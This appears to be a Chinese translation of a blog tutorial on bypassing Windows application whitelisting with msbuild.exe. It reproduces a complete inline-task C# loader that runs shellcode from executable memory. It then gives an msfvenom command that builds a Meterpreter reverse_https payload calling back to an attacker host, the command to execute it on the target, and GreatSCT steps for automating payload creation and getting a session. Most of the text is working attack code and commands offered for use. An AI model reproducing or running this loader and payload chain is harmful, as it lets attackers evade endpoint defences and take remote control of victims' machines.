GreatSCT | MSF | 白名单

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Github https://github.com/GreatSCT/GreatSCT

视频演示:

1.简介

Casey Smith 发现了一个名为“msbuild.exe”的微软二进制文件。他在2016年9月13日星期二写了一篇博客,标题为“使用MSBuild.exe绕过应用程序白名单 - 设备保护示例和缓解措施”。他的博客已经不存在了,但是你可以在这里通过archive.org访问它 https://web.archive.org/web/20161212224652/http://subt0x10.blogspot.com/2016/09/bypassing-application-whitelisting.html

2.POC -code

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<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes shellcode. -->
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
<!-- Save This File And Execute The Above Command -->
<!-- Author: Casey Smith, Twitter: @subTee -->
<!-- License: BSD 3-Clause -->
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>

<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task, ITask
{
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
public override bool Execute()
{
byte[] shellcode = new byte[] { INSERT_SHELLCODE_HERE };

UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>

3.怎么运行的

这是Casey的博客文章的直接引用。这很简单,“msbuild.exe”会为你运行C#代码。
事实证明,MSBuild.exe有一个内置的功能,称为“内联任务”。这些是可以用来丰富C#构建过程的C#代码片段。 本质上,这是做一个XML文件,在目标的内存中编译和执行,所以它不是传统的图像/模块执行事件。

4.MSF & MSBuild.exe

使用metasploit通过以下命令生成C#shellcode:

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msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=443 -f csharp

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在msfconsole中启动你的metasploit监听器。将您的“msbuild.exe”xml文件复制到目标系统。就我而言,这是Windows 10 Enterprise。使用以下命令执行有效内容

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“C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe shellcode.xml”.

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5.自动化生成PAYLOAD

我们将使用GreatSCT来生成一个“msbuild.exe”有效载荷。

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git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT
python3 ./gr8sct.py

 
按任意键开始
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选择选项编号“0”,然后按回车。
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填写 IP

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得到会话
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原文链接 :https://blog.conscioushacker.io/index.php/2017/11/17/application-whitelisting-bypass-msbuild-exe/